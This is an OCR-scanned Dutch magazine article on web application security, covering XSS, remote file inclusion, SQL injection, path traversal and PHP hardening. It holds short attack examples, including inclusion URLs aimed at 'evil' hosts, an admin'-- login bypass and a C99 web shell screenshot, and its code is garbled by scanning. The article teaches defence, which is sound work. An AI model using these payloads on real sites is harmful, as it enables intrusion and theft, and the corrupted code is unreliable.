} eLs« ( 

unset(1 POSTLSparameter]); 

> 

} 

Beproefde zekerheid: voordaf de mail 
wordt verzonden, vergelijkt een fus de via 
POST verstuurde formulierwaarden met 
een reguliere expressie. 


if(strpos($_G ET ['afzen de r' ], "\n 11 J) d ie f" Regeloverg a ngJ lf ); 

Dit is natuurlijk niet echt een heel fraaie op- 
lossing, maar meer een lapmiddel. Het sys- 
teem kan namelijk ook andere tekens voor 
een regefovergang aanzien, zoals de Carriage 
Return (<CR>, \r of %0D), 

Zoek je echter niet naar verboden, 
naar toegestane tekens, dan hebjeals pret- 
tig neveneffect dat de gebruiker zinnige 
tekst in het formulier moet invullen. De vol- 
gende Perl-compatibele reguliere expressie 
staat bijvoorbeeld alleen geldige' e-mail- 
adressen toe: 

/ a [a-zA-Z] [\w.[\w.-]{2,}\, [a-z]{2,6} $/ 

De metatekens ^ en $ zorgen ervoor dat er 
niets voor of achter de te controleren string 
kan staan, Voor het apenstaartje moet min- 
stens een letter staan, eventueel gevolgd 
door meerdere letters, cijfers, streepjes, 
underscores (daarvoor staat \w), een punt, 
plus- of minteken. Na de § voigt de do- 
meinnaam (met eventueel subdomein). De 
twee tot zes letters na de punt staan voor 
het top-leveldomein. Hoewel dit niet alle 
speciale gevallen omvat, voldoet het script 
In de praktijk wel goed. 

Met de preg_mateh-functie kun je elegant 
alle velden controleren via een lus die voor 
de mall-regel staat, 

[:print:] is een Posix-tekenklasse die alle 
mogelijke afdrukbare tekens bevat, dus let¬ 
ters, cijfers, spaties en interpunctie. [:space:] 
staat daarbij nog regelovergangen en tabs 
toe. Verder stelt de setlocale-regel aan het 
begin het script in op invoer in de Neder- 
landse taaL 

Met deze voorzorgsmaatregelen kunnen 
aanvallers hun plannen om je mailscript te 
misbrufken snel weer intrekken. (mda) 

( Softlink09WD124 ct 
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Christiane Riitten, Tobias Glemser, Pieter-Paul Spiertz 


Gezond 

wantrouwen 


Veiligheid van webapplicaties 

Alsje een eigen website beheert, meet je er 
rekening mee houden dat die misbruikt kan worden 
voor spam, phishing of andere duistere praktijken, 
Vooral webapplicaties op basis van PHP of andere 
scripttalen zijn hier gevoelig voor. Maar om wat 
voor veiligheidslekken gaat het dan precies? Hoe 
hack je een lekke' website en wat kun je er tegen 
doen? In dit artikel laten we je zien welke fouten 
webontwikkelaars het meest maken. 


D at veiligheid alleen belangrijk is voor 
webwinkeis of online bankingsites is 
een wljdverbreld mlsverstand, Steeds 
vaker zljn namelijk ook kleinzakelijke of hob- 
bysites het doelwit van cybercriminelen. Niet 
per se omdat daar geld of privegegevens 
te halen zijn, maar omdat ze de gekaapte 
server voor eigen doeleinden kunnen mis- 
bruiken. Denk bijvoorbeeld aan het opslaan 
en uitwisselen van tllegale software, het 
voorbereiden van Distributed Denial of Ser¬ 
vice- oftewel DDOS-aanvallen om bedrijven 
te kunnen chanteren of voor het versturen 
van spam- of phishing-mails. Ook komt het 
regelmatig voor dat een website zodanig ge~ 
manipuleerd wordt, dat bezoekers geTnfec- 
teerd raken met spyware en onderdeel gaan 
uitmaken van een botnet, dat dan weer ge- 
bruikt kan worden voor DDOS-aanvallen. 

Om een website te kunnen manipuleren, 
hoef je zeker geen doorgewinterde cyber- 
crimineel of security professional te zijn. Zo 
ingewikkeld Is het allemaa! niet. Soms gaat 
het zelfs om een geavanceerde vorm van 
creatlef surfen, zoals je dat ook terugziet bij 
ervaren intemetters. Om een simpel voor- 
beeld te geven: stel je bent een fotoafbum 
aan het bekljken uit juni 2009 op www, 
example.com/photos/2009/06/ en wilt ook 
de foto's van juli zien, Dan kun je natuurlijk 
teruggaan naar de vorige pagina en op 'juli' 
klikken, maar veel sneller en makkelijker 
is vaak om de 06 te veranderen in 07. Deze 
vorm van URL-manipulatie wordt ook door 
hackers gebruikt door de mogeiykheden van 
de gebruikte scripttaal te benutten, 

Als je zelf een Webserver beheert, bijvoor- 
beeld in de vorm van een eigen rootserver, 
is het belangrijk dat je de software up-to- 
date houdt, zodat bekende veiligheidsgaten 


zo snel mogelijk gedicht worden. Wat vaak 
wordt vergeten, Is dat dat ook geidt afs je 
webruimte huurt om je vrlenden online je va- 
kantiefoto's te laten bekijken of een weblog 
of gastenboek bijhoudt. Zodra programma's 
dynamische inhoud genereren, kunnen ze 
een aanvafspunt voor hackers zijn en zul je 
de sofware dus goed moeten onderhouden 
- of ze nou in PHP, Perl Ruby of een andere 
taal zijngeschreven. 

Cross Site Scripting 

Een van de populairste aanvalsvormen van 
dit moment is Cross Site Scripting (XSS). 
Hierbij probeert een aanvaller een Webser¬ 
ver zo te manipuleren dat er kwaadaardige 
scriptcode in de pagina beiandt, die aan be¬ 
zoekers wordt getoond. De browser verwerkt 
de binnengesmokkelde code aisof het om 
legitieme inhoud van de website gaat - met 
alle bijbehorende rechten. Via de ingebedde 
code kan de aanvaller zo bijvoorbeeld onei- 
genfijke rnformatie op de website zetten om 
via invoervelden wachtwoorden of bankge- 
gevens buit te maken (phishing). Of htj iaat 
gebruikers via aangepaste' cookies URUs 
aanroepen die naar een totaal andere site 
leiden (Cross Site Request Forgeries, CSRF), 
Dat kan in veel gevallen automatisch gede- 
tecteerd worden. Vandaar dat er met name 
de afgelopen twee jaar op browsergebied 
zoveel te doen was rond phishingfiIters. 

Men onderscheidt drie vormen van XSS, 
die vooral afhangen van de manier waarop 
aanvallers hun kwaadaardige code in de 
code van de webpagina proberen te voegea 
De vorm die in de praktijk het meest voor- 
komt is reflected XSS, ook wel non-persistent 
XSS genoemd. Hierbij moet een aanvaller 


zijn siachtoffer eerst zover krijgen dat deze 
een spedale, geprepareerde URL aanklikt, 
bijvoorbeeld 

https://server/frameset ,p hp?L -1 & H—http ://evil server 

Meestal is de URL een stuk ianger, maar waar 
het om gaat is dat er in de variabelenparame- 
ters van de URL code of een doorverwijzing 
verstopt ztt. Als de webapplicatie aan de ser- 
verzijde niet goed is dichtgetimmerd, neemt 
de server deze parameters kfakkeloos over 
en verwerkt deze informatie in de website. 
Dit kan bijvoorbeeld om gebruikersnamen, 
e-mailadressen of zoektermen gaan, maar in 
het eenvoudige voorbeeld hierboven wordt 
een frame van een andere site geladen. De 
hackersgroep Electrical Ordered Freedom 
vond enorm veel van dit soort XSS-hacks in 
de websites van banken en instituten en pu- 
bliceerde hierover op de website Phishmarkt 
[1]. Ook op de security-mailinglEjst Bugtraq 
komen erelke week wel een tlental langs. 

Een andere vorm van XSS die je vaak te- 
genkomt en die minstens zo gevaarltjk is, 
is persistent XSS. Net als bij reflected XSS 
stuurt de iekke webapplicatie de schade- 
lijke inhoud in de URL terug naar de brow¬ 
ser, maar dit keer met een tussenstop bij de 
serverdatabase. Daardoor [evert de server de 
schadeiljke code onder bepaalde omstandig- 
heden ook aan bepaalde gebruikers die niet 
op een gemanlpuleerde link hebben geklikt. 
Een klassiek voorbeeld van sites waar dit fout 
gaat, zijn forums die toestaan dat gebruikers 
JavaScript-code in hun berichten mogen 
gebruikem Bij dit type XSS is het in de regel 
de aanvaller die eenmaiig op een gemanipu- 
Jeerde link klikt om de kwaadaardige code 
op de server af te leveren. 
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Browser Reflected XSS Server Browser Persistent XSS Server 



* 


p rog ramm eerfout/b u g 


^^schadelijke code (exploit') 


* 


prog ra mmeerfoot/bu g 


j^schadeli]ke code ( exploit ) 


De gehackte webapplicatie integreert de exploitcode uit de URL 
in zijn HTJVIL-code en 'reflecteert' deze naar de gebruiker. 


Als de exploitcode eenmaal 
in de serverdatabase is beland, hoeven slachtoffers 
alleen maar langs te surfen om de code in hun browser te krijgen. 


Bij reflective en persistant XSS draait de iekke 
programmacode, waarover de schadelijke 
code In de website ingebed kan worden, op 
de server Als de complete aanvaf daarente- 
gen op de com puter va n de gebruiker plaats- 
vindt, dus vanafde allereerste klik op de ge- 
manipuleerde URL tot aan het inbedden van 
de kwaadaardige code in de website, dan 
wordt dat local XSS genoemd, Deze derde 
vorm van XSS komt vooral voor bij interac¬ 
tive Web 2.0-applicaties, die een aanzienlijk 
deef van de program mafunctionaliteit In de 
vorm van Java- of JavaScript-code naar de 
browser van de gebruiker verplaatsen. 

Deze vorm van XSS werkt als voIgt; een 
webpagina wordt binnen de browser als een 
boomvormlge stmctuur gezien, het 'Docu¬ 
ment Object Model' (DOM). JavaScript kan 
een weergegeven website volledig verande- 
ren aan de hand van de DOM-boom. Het kan 
dus gebeuren dat een onveilig geprogram- 
meerd stukje JavaScript-code binnen de 
browser kwaadaardige code direct van uit de 
URL in de code van de weergegeven pagina 
zet. Vandaar dat deze aanval ook wel DOM- 
based XSS wordt genoemd. Ook onderdelen 
van je browser of browserp!ug-lns kunnen 
dit soort lekken bevatten. 

Remote Code Execution 

Anders dan bij XSS, waar de browser van de 
gebruiker kwaadaardige code in de maag 
gesplitst krijgt, leiden sommige program- 
meerfouten In webapplicaties ertoe dat een 
aanvaller op de server wiltekeurige com¬ 
mando's kan uitvoeren. En het zijn echt nlet 
alleen kleine PHP-projecten die dit soort 
lekken bevatten. In talloze plug-ins voor het 
bekende forumsysteem phpBB stond de vol- 
gende regel code, die een fatale fout bevat 

indude_once ($ptipbb_mot_path . 'common.php'); 

Dit commando moet uit de bastsdi rectory 
van phpBB het bestand common.php met 
enkele benodlgde applicatiefuncties inlezen 


en uitvoeren. Veel plug-inprogrammeurs 
gingen er blindelings vanult dat de globafe 
variabele $phpbb_root_path altljd het pad 
naar de lokale phpBB-installatie bevatte. 
Maar omdat dat met gecontroleerd werd, 
kon de variabele ook gevuld worden via een 
parameter in een URL, waardoor het plug- 
inscript ook van een andere server geladen 
kon worden. 

Roep je zo'n Iekke phpBB-server bijvoor- 
beeld aan met /plugin.phpfitphphb_raot_patfi=http:// 
evil.nL/, dan wijst de waarde van $phpbb_ 
root_path naar een externe server en wordt 
niet de lokale common.php uitgevoerd, maar 
http://eviLn I/common,php. En daar kan een 
aanvaller dan natuurlijk van alles in zetten. 
De indudeO-tegen hanger require() kampt ove- 
rigens met dezelfde problemen. Het uitvoe¬ 
ren van schadetijke code via internet zoals 
in dit voorbeeld werkt overigens alleen bij 
onveilige PHP-configuraties. Maar helaas zijn 
dit soort configurates bij sommige shared- 
hostingaanbieders uit compatibiliteitsover- 
wegingen nog altljd de bittere realltelt. 


Veel webapplicaties zijn beveiligd tegen de 
hacks die in dit artikel genoemd worden, 
maar X55-, RFI- en SQL-injectie-aanvallen zijn 
nog altijd schering en inslag op het internet. 
Het aantal treffers op Google voor 'website 
defaced 1 of 'forum gehackt' is enorm. Alleen 
a I op websites als zone-h,org komen dage- 
fijks tientallen meldlngen binnen van ge- 
kraakte websites [defacements). De Neder- 
iandse politie heeft (nog) geen cijfers over 
aangiftes van dit soort cybercrime, want 
die worden niet apart bljgehouden, Een 
geval van phishing vaft gewoon onder 'op- 
lichting', Sinds januari 2007 is in Nederland 
wel het gespeciatiseerde High Tech Crime 
Team actief als onderdeel van de Nationale 
Recherche. Die houdt cijfers bij over vooral 
de zwaardere en internationale zaken. In 


Bij een vorm van Remote Code Execution die 
je vandaag de dag nog maarzelden vindt, is 
schadeiijke code net als bij XSS direct uit de 
URL of uit formullergegevens afkomstig. Die 
situatie ontstaat vooral door een al te non¬ 
chalant gebruik van de PHP-functie evaL(), die 
een willekeurige teken reeks als PHP-code in¬ 
ter preteert. Deze functie moet je daarom al¬ 
leen met de allergrootste bedachtzaamheid 
gebruiken. Niet voor niks zeggen ze in PHP- 
kringen altljd r eval is evil r . 

SQL-injection 

Veel webapplicaties maken gebruik van een 
SQL-database en haien daar met SGL-com- 
mando's (query's) Informatie uit Die query's 
worden vaak als een soort sjabloon ingevuld 
met de Invoer van de gebruiker. Het is dus 
vrij nuttig om die invoer van tevoren even 
te controieren, want als dat niet gebeurt 
staat de deur wagenwijd open voor hackers. 
Zij kunnen bijvoorbeeld hun eigen SGL- 
commando's samenstelfen (ook wel SQL- 


Belgie neemt de Federal Computer Crime 
Unit (FCCU) deze taak op zich. In 2007 wer- 
den er zo'n 7840 internet misdrijven gecon- 
stateerd waar voor een proces-verbaaf werd 
opgesteld. Deze misdrijven kunnen worden 
onderverdeeld in de categorieen hacking, 
inform a tie bed rog, valsheid en informatica, 
sabotage en overig [5]. Vorig jaar is dit aantal 
naar 8615 gestegen. De groei van het aantai 
meldingen Is vooral in 2007 gestegen, want 
vanaf toen was het mogelijk om op www. 
ecopsJae online aangifte te doen van een 
internetmisdrijf Opvallend is dat de meeste 
misdrijven in de cat eg one informatie bed rog 
vallen. Informatiebedrog omvat het illegaal 
wijzigen of verwijderen van gegevens op 
een informatie- of telecom municatiesys- 
teem, bijvoorbeeld credltcardfraude. 
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Deze XSS-aanval op het zoekveld van The Daily Mail embedt 
een andere site in de oorspronkelijke site. 


injection genoemd). Op securityforums a Is 
sla.ckers.org barst het van de voorbeelden. 
We geven er e£n: je kunt een simpele gebrui- 
kersauthenticatie maken met de SQL query 
SELECT * FROM users WHERE name= r $username 1 AND 
pass word=' $ password'. Als het resultaat daarvan 
leeg is, bestaat deze combtnatie van userna¬ 
me en wachtwoord niet in de database en is 
de loginpoging ongeldig. 

Maar als een PHP-applicatie voor de varia- 
befen Susemame en Spassword zonder blikken of 
blozen overneemt wat de gebruiker als naam 
of wachtwoord heeft ingevoerd, kan die ge¬ 
bruiker de bovengenoemde SQL-query ma¬ 
nipuleren. Vul je als gebruikersnaam admin'- 
- in, dan ontstaat daaruit dus bijvoorbeeld 
het SQL-statement SELECT * FROM users WHERE 
name^admirT-' AND password^lets'. Omdat de 
tekens - in SQL-taal betekenen dat er 'com- 
mentaar' voIgt, wordt het wachtwoorddeet 
van de uitdrukking na de - doo" de SQL-ser- 
ver totaal genegeerd Dat heeft als gevoig dat 
als de gebruiker admin in de tabel users bestaat 
(wat zijn wachtwoord verder ook moge zijn), 
het resultaat niet leeg is en je dus succesvol 
inlogt als admin. 

Met een beetje kennis van SQL kom je 
nog vee] verder. Zo is de puntkomma (semi¬ 
colon) het scheidingsteken tussen twee 5QL- 
statements. Als dat teken niet wordt gefilterd, 
kun je daarmee dus je eigen commando's 
toevoegen aan de query. Zo kun je onder be- 
paafde omstandigheden ook beveiligde data 
uitlezen of data manipuleren. Dit soort van- 
zelfsprekende aanvallen zijn echter nog maar 
zelden mogelijk, omdat gegevens die door 
gebrulkers worden ingevoerd meestal niet 
meer ongefilterd in SQL-statements omge- 
zet worden. Bij wachtwoord en is bovendien 
intussen een quasi-filtering door het vormen 
van een hash-waarde gebruikelijk. Andere 
voorbeelden van SQL-injections zijn echter 
aanzienlijk ingewikkelder [2]. 

Een a I even oude aanvaf, die echter nog 
altijd redelijk vaak mogelijk is, is het zoge- 


naamde directory of 
path traversal Daarmee 
kunnen gebruikers bui- 
ten de webroot van de 
Webserver kijken. Bij 
alle moderne bestu- 
ringssystemen wijst de 
bestandsnaam \! naar 
de directory daarboven. 

Als nu bijvoorbeeld een 
downloadscript een 
bestandsnaam ongefil¬ 
terd overneemt uit een 
URL-parameter, kunnen 
we bs u rfe rs I eestoeg a n g 
krijgen tot het bestands- 
systeem van de hele 
Webserver door "JJJ" 
voor de bestandsnaam 
te zetten, Hiermee is 
het bijvoorbeeld moge¬ 
lijk om databasewacht- 
woorden (in config.php- 
bestanden) of loginnamen (/etc/pa sswd) te 
achterhalen. Dit is onszeff in het verleden ook 
a! eens overkomen. 

Wantrouw gebruikersinvoer 

De belangrijkste regel bij veilig webontwik- 
kelen luidt: wantrouw alle gegevensinvoer 
van buitenaf! Die kan namelijk gemanipu- 
leerd zijn, Dat lijkt misschien wat overtrokken, 
maar is helaas broodnodig, Tenzij je webap- 
plicatie specifiek geschreven is voor speciale 
invoerkanalen of geTsoleerde netwerkverbin- 
dingen, komt gegevensinvoer vooral binnen 
via vanabelenparameters in URL's. De brow¬ 
ser verstuurt HTTP-URLs in de adresbalk met 
het HTTP-commando GET. Daarom heten va- 
riabelen hierin ook wel GET-variabelen, in het 
slechtste gevat worden ze door een scripttaal 
direct aan deapplicatie doorgegeven als glo- 


knop verstuurt de browser deze via het HTTP- 
commando POST naar de webapplicatie. Er 
is weliswaar geen adresbalk in de browser 
voor deze gegevens, maar ook HTTP P05T- 
requests kunnen op allerlei manieren gesi- 
muleerd en gehackt worden. Zelfs gegevens 
in cookies die oorspronkelijk van de webap- 
plicatie afkomstig zijn, zijn te manipuleren 
en zijn dus in prindpe onbetrouwbaar. Ook 
lokale bestanden op de Webserver kunnen 
gemanipuleerd zijn en dus moet je die als 
webontwikkeiaar controleren, Denk hierblj 
bijvoorbeeld aan URL's in server-logs. In som- 
mige gevallen valt dit echter op te lossen. 

Hoe controJeer je nu als webontwikkeiaar 
de geldigheid van al die gegevens? Simpel: 
doordat variabelen bijna altijd een vast type 
hebben, kun je dus controleren of ze een 
bepaald waardebereik of een bepaalde te- 
kenset hebben. Geboortejaren liggen door- 
gaans tussen 1900 en de huidige datum. In 
naamvelden hoeven mensen afhankelijk 
van de taal alleen hoofd- en kleine letters in 
te kunnen typen, met eventueel wat extra 
Internationale speciale tekens en misschien 
een decimaalpunt en een komma. 

Speciale tekens waarmee narigheid kan 
worden uitgehaald, moeten natuurlijk zo 
vroeg mogelijk worden weggefilterd, Door 
bijvoorbeeld handEg nul-bytes of newlines 
in code in te voegen, kunnen aanvallers 
sommige stringfuncties onderuit halen. HeL 
zelfde geldt voor aanhafingstekens, enkele 
andere stuurtekens en in sommige gevallen 
ook voor Unicode-tekens. 

In prindpe moeten alle speciale tekens 
die in de broncode worden gebruikt als kri- 
tisch worden beschouwd. Bij strings die ooit 
in een HTML-pagina terecht moeten komen, 
zijn juist vishaken voor HTML-tags de boos- 
doener. Qok het procentteken en de amper¬ 
sand (&) kunnen daar misbrufkt worden. 

Whitelisting 

Omdat het lastiger en onveitiger is om alle 
potentieel problematische tekens weg te fil- 


; Zoeken - Mozilla Fir^fo* 
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Chronisch iek: het phpBB-forum en zijn plug-ins. 


bale variabele en in het beste geval gebeurt 
dat in een a parte array. In het eerste geval 

_ kan het zelfs 

voorkomen dat 
een aanvaller 
globale variabe- 
len naar eigen 
believen kan 
veranderen, dus 
moeten die ook 
met de nodige 
argwaan beke- 
ken worden. 

Het is minder 
bekend dat ook 
alle POST-varia- 
belen als onvei- 
lig bestempeld 
moeten wor¬ 
den. Het gaat 
hierbij dus om 
alle zichtbare 
en onzichtbare 
formuliervelden 
en selectiegege- 
vens. Na een klik 
op een submit- 
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teren (blacklisting), kiezen webontwikkelaars 
er meesta I voor om met h u n filters juist al leen 
bepaalde waarden toe te staan {whitelisting). 
Het gaat dan niet alleen over stringfilters. Bij 
het opgeven van een land kun je bij voor- 
beeld even goed een landenlijst gebruiken. 

Als je de mogeNjke invoergegevens niet 
zonder meer kunt beperken tot bepaalde 
tekens, dan is het nog aan te raden om spe¬ 
cial e tekens en stuurtekens te escapen, zodat 
die hun speciale functie verliezen. De meeste 
scripttalen hebben biervoor speciale functies. 
Bedenk je bij het escapen altijd voor welk 
do el de g eg eve ns worden gebruikt 

Zo beschikt ook RHP over heel wat filter- 
fun cties, htmLentitiesO vervangt alle tekens met 
een speciale betekenls brnnen HTML door 
hun HTML-codes, Zo wordt < bijvoorbeeld 
Sit;. De functie addsLashesQ maakt strings in 
het algemeen geschikt voor databasege- 
bruik door een backslash te plaatsen voor 
tekens als ' f r ' r backslashes en nulbytes. Beter 
geschikt voor specifieke MySQL-statements 
is m ysq l_rea Lesca pe_stri ng (), escape sh el icmdQ doet 
hetzelfde voor shell-commando's en hun pa¬ 
rameters, 

Het is nog beter om prepared statements 
te gebruiken voor SQl-requests. Dit zijn een 
vergelykbaar soort query-sjablonen waarbij 
SQL-injection niet meer zonder meer moge- 
lijk is. PHP ondersteunt deze sjablonen sinds 
versie 5 met de mysqli-extensie. In Perl kan de 
DBI-module er prima mee werken. Nog een 
alternatief in PHP zijn de zogenaamde PHP 
Data Objects, die zijn geintroduceerd met 
PHP 5.1. Voor meer PHP-specifieke informatie 
verwijzen we naar het "security'-hoofdstuk ult 
het officiele PHP-handboek. 

Andere veiligheidsproblemen ontstaan 
als een webapplicatie modulair gebouwd is, 
maar de hulpscripts (zoals phpBB-plug-ins) 
ook direct door een websurfer gestart kun- 
nen worden, Vaak is dat niet de bedoeling, 
Zulke modulescripts moet je daarom be- 
schermen tegen directe aanroepen. In PHP 
gebeurt dit bijvoorbeeld door 

defined ( P _G LOB A LE_ W A AR DE'} or die (Direct oproepen/ 

verbodenlj; 

aan het begin van het script te zetten. Een 
script datzo beschermd wordt, kan alleen ge¬ 
start worden door andere scripts die de op- 
roep van de module hebben voorbereid met 
bijvoorbeeld 

define ( _GL0BALE JMARDE', nuLL); 

Vroeg ontsmetten 

De PHP-kenners onder ons zullen bij de ge- 
noemde voorbeelden al meer dan eens ge- 
dacht hebben maar dat zet je toch sowieso 
uit? r . Je kunt namelijk al bij het configureren 
van PHP voorkomen dat je Webserver ge- 
voelig is voor bepaalde aanvallen of er bij 
voorbaat al voor zorgen dat de schade bin 
nen de perken blijft. Hoe minder rechten een 
webapplicatie heeft, des te minder er mis 
kan gaan. 


Het PHP-dilemma 


Ralf M. stond we I even te kijken toen hij de 
volgende bizarre mededeling van zijn pro¬ 
vider zag: "We hebben onlangs een hack- 
poging op onze servers geconstateerd die 
van uw webpresentie werd gestart ". Wat 
was ergebeurd? 

Ralf M. heeft een eigen website waarop 
bezoekers onder andere dankzij de PHP- 
software Tiny Webgailery een verzameiing 
foto's kunnen bekijken. Vier dagen eerder 
publiceerde een hacker genaamd xoron op 
de security-mailinglist Full Disclosure een 
veiligheldsgat in deze PHP-software - voor 
het gemak meteen met een demo-exploit 
erbtj: 

i mage.ph p ?image=http://evELscripts 

Twee dagen ervoor werd de server bestookt 
met dit soort requests, Deze requests fnstal- 
Jeerden complete PHP-shefls vanuit meestal 
Oost-Europese servers. In die shells zit alles 
wat hackers we I geinig vinden; het instal- 
leren van backdoors, lokale kernelexploits 
en onbeperkte commandline shells. Wat ze 
daarna nog met de computer uithaalden, is 
achteraf nauwelijks meer uit te vogelen. 

Duizenden website-eigenaren komen nog 
altijd in een vergefijkbare situatie terecht, 
Vooral als je een shared-hostingservice ge¬ 
bruikt, hebje immers maar wetnig mogelijk- 
heden om jezelf ertegen te beschermen. Of 
je nu een fotogalerij, een forum of een da¬ 
tabase wilt hebben, meestal heb je al snel 
een PHP-applicatie nodig. Zelf schrijven is 
in vee! gevallen geen optie, en dat zou qua 
veiligheid ook tang niet altijd beter zijn, Je 
moet je dan ook realiseren dat als je een 
PHP-applicatie van derden installeert, je er 
eigenlijk van meet af aan al een handvol be- 


C 99Shell v . 1. 0 pre-re lea se build #16 

Software: A pacha/ 2 . 0,5 5 (Ubuntq) PHP/ 4 . 4 , 2 - 1-1 

uriame -at Li Unit loki 2.6.17’ lO-fJenelic #2 SMP Fr( Oct 13 1B:4S:3S UTC 20 06 1680 
uid^33(www-daba} gid-33f ww w-data j groups - 3 3(www-data) 

Safe-mod?: 

/vor/www/lest/ drwxr-xr-K 
Free 41,23 GB of 72.02 GB (56.62%) 

^ ^ % Encoder Te<ds Proc. FTP 

brute Sec. SQL PHP-code Update Feedback Self remove Logout 


veiligingsgaten bijgeleverd krijgt. Elke dag 
worden er op de security-forums minstens 
zes nieuwe veiligheidsgaten gepubliceerd. 

Deze vetligheidslekken worden vervolgens 
door criminele bendes systematise*! en pro- 
fessioneel uitgebuit; welke sites kwetsbaar 
zijn voor kwaadaardige code is makkelijk 
op te zoeken via Google. Het inbreken is 
ook niet lastig, want voor de inbraak zijn er 
altijd we I PH P-s hells beschlkbaar op eerder 
gekaapte servers. Kortom, binnen enkele 
dagen na de publicatie van het veiligheids- 
fek wordt de server voor zo ongeveer a lies 
misbruikt wat God verboden heeft Stukjes 
code die aan websites zijn toegevoegd, ex- 
plofteren hierbij lekken in de browser om 
key loggers en andere spyware op je niets- 
vermoedende pc te installerem Ook kan je 
trouwe systeem voortaan als DDoS-client of 
spamverspreider door het (even gaan. 

Net zou een leuke, prevent!eve maatregel 
zijn als je er door schakelaars voor zou kun¬ 
nen zorgen dat PH P-applicaties - onder 
alle omstandigheden - geen code van een 
externe server mogen laden en uitvoeren. 
Maar dit kan niet, omdat de opties die we 
hebben vermeld in het kader over phpJni 
alleen globaal in de systeemwijde PHP-con- 
figuratie ingesteld kunnen worden, En dat 
kunnen de hosters weer niet doen, omdat 
dan veel webapplicaties van hun kianten 
niet meer zouden werken. 

Een fundamentele verbetering hoef je voor- 
lopig niet te verwachten: er staan geen ge- 
lokaliseerde veiligheidsopties per PHP-ap¬ 
plicatie op het programma en er staat ook 
geen Perl-achtige taint-modus op de PHP- 
roadmap. Als je op een shared-hostingser- 
ver dus een PHP-applicatie wilt gebruiken, 
kun je alleen maar 
'1 op de pagina's van 
de producenten 
naar nieuwe versies 
zoeken en die snel 
installeren. 


piasfi2.html 357 


Listing folder (2 files and 0 folders)£ 


Size Modify 

LINK 22 11 20€6 16:33:32 
LINK 23.11,2006 16:03-: 48 
35? B. 22.11.2006 12:26:55 


677 B 22.li.2006 12:38:01 


Owner/ Group 

rooVroQt 
rooty root 
riKiVroot 
i Got/raot 


Perms Action 

drwxr-Kr-X V ■ 
dxwxr-Jtr-x V | 

-rw-r— r~ » 


j U'il li si'hn ted: | 


Commend execute i; 


Select! 

I lEinil nil wnlulik 1 folilttrs and Ij 3 (v. 


\ FtECUtE- | 


:: Shadow's tricks ;D l: 


_ Useful Commands _ 

■ i .. .Q 

| LuemLej 

Warning. Kernel may be alerted using Higher 


Kernel Info ■ 

{ loJu Li. D. 17.1 n gnrji-j I Seafch I 


De PHP-shells die 
voor hackaan- 
vallen gebruikt 
worden, zijn vaak 
mooieren luxer 
dan de beheer- 
f route nds van 
webhosters zelf.,. 
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Het kader over het cent rale configuratiebe- 
stand van PHR phpJni, beschrijft de belang- 
rijkste PHP-veiiigheidsopties, Niet al!e webap- 
plicatles kunnen met elke optie werken. Als 
je server meerdere PHP-applicaties aanbiedt, 
moet je de opttes een voor een controleren op 
compatibiliteit. Helaas kun je er vaak niet om' 
heen om bij problemen dan maar de kleinste 
gemene dder te kiezen of om applicaties die 
voor problemen zorgen naar and ere servers te 
verplaatsen* 

Shared webhosting is sowieso geen aan- 
rader voor het veilig draaien van een PHP- 
applicatie. De vele incompatibiliteiten van 
kant-en-ktare P HP-soft ware met de strengere 
veiligheidsinsteliingen, dieje bij PHP alleen 
globaal kunt insteflen, dwingen de meeste 
shared-hostingaanbieders tot onveilige con- 
figuratles, 

Wei heeft PHP5 een speciale modus die 
zuiver programmeren afdwingt en die je ook 
via een script aan kunt zetten. Na de aanroep 
error_reporting (E_STRICT); genereert de interpreter 
waarschuwingen als je bijvoorbeeld een vari- 
abele gebruikt die niet geinitialiseerd is. Ook 
Perl heeft zo'n zogenaamde taint-modus, die 
je voor een script kunt active re n door de optie 
-T op te geven in de eerste regel; 

tl/usr/bin/pert -T 

In deze modus mogen er geen gegevens die 
van buiten het script afkomstig zijn, doorge- 
geven worden aan onder processen van het 
script. Je moet ze dus eerst ontsmetten' met 
bijvoorbeeld een regufiere expressie als filter. 
De Perl-interpreter beschouwt onder meer alle 
GET- en POST-variabelen als 'tainted' (besmet). 
Als bijvoorbeeld de variabele $ form u tier{ "e- ma i t rl L 
die afkomstig is nit een formulier dat een 
gebruiker heeft ingevuld, zonder controte 
doorgegeven dreigt te worden aan een shell- 
commando, wordt het he!e Perl-script abrupt 
beerndigd. Je kunt sinds Perl 5.8 met de functie 
tainted!) uit de module Scalar::Util controleren of 
de interpreter denkt dat een variabele besmet 
is, De taint-modus dwingt de ontwikkelaar in 
zekere zin om netjes met gegevens van buiten 
de appllcatie om te gaan, De andere functies 
van de taint-modus staan gedocumenteerd in 
de man-pagina perfsec . 

Netwerksecurity 

Zoals we at aan het begin van dit artikel zei- 
den, is ook de beveiliging van de rootserver 
zelf natuurlijk essentieel en dat geldt ook 
voor het netwerk van de server Als een aan- 
vailer bijvoorbeeld de login-gegevens van 
een a parte databaseserver te pakken weet te 
krijgen, zijn die voor hem nutteloos zolang hij 
daar toch niet bij kan. Daarom moeten alleen 
de machines die afhankeljjk zijn van dergefijke 
back-endsystemen daar toegang toe krijgen. 
Ook hier geldt het pnncipe van de minimale 
rechten. 

Tenslotte kun je met applicatiefirewatls als 
mod_security voor de Webserver Apache nog 
een aantal mogelijke aanvallen afvangen, Dat 
is echter puur een extra veiligheidsmaatregei 


De beta rig rijkste beveiligingsopties in php.in 


register globals = off voorkomt dat het 
toewijzen van variabelen In HTTP-requests 
en cookies globale programmavanabe- 
len kan overschrijven, Deze optie dwingt 
scripts ertoe om door de gebruiker ver- 
zonden variabefen bewust op te halen via 
speciale arrays zoals $_REQUEST. Daardoor 
kan een aanvalter er niet meer zomaar ge- 
bruik van maken als een script niet-geini- 
tialiseerde variabelen gebruikt of lichtzin- 
nig bepaalde globale defauftinstellingen 
veronderstelt. 

allow_url_fopen = off zorgt ervoor dat 
PHP-scripts alleen lokale bestanden van 
dezelfde server kunnen aanroepen, Dit is 
een bijzonder grote hindernis voor allerlei 
soorten aanvallen, omdat er dan ook geen 
scripts meer direct van uit externe sites ge- 
laden kunnen worden, 

safe-mode - on zorgt er onder andere 
voor dat het PHP-proces alleen nog be¬ 
standen en directories mag benaderen die 
eigendom zijn van de gebruiker met wiens 
rechten het PHP-proces draait Op Linux- 
servers is dit vaak www-data, bij gebruik 
van Apache-modules als mod_suexec [2] 
of suPHP is dat meestal de elgenaar van 
het script. Bovendien blokkeertde safemo- 
dus met de standaardlnsteli ingen gevaar- 
lijke functies als sheLijexecO# maar je kunt het 
gedrag via extra opties bepalen. 

open_basedir = /pad/naar/www-map 

gebrutk je om een basisdrrectory aan te 
wijzen. PHP-scripts mogen geen bestan¬ 
den openen die niet binnen die directo- 
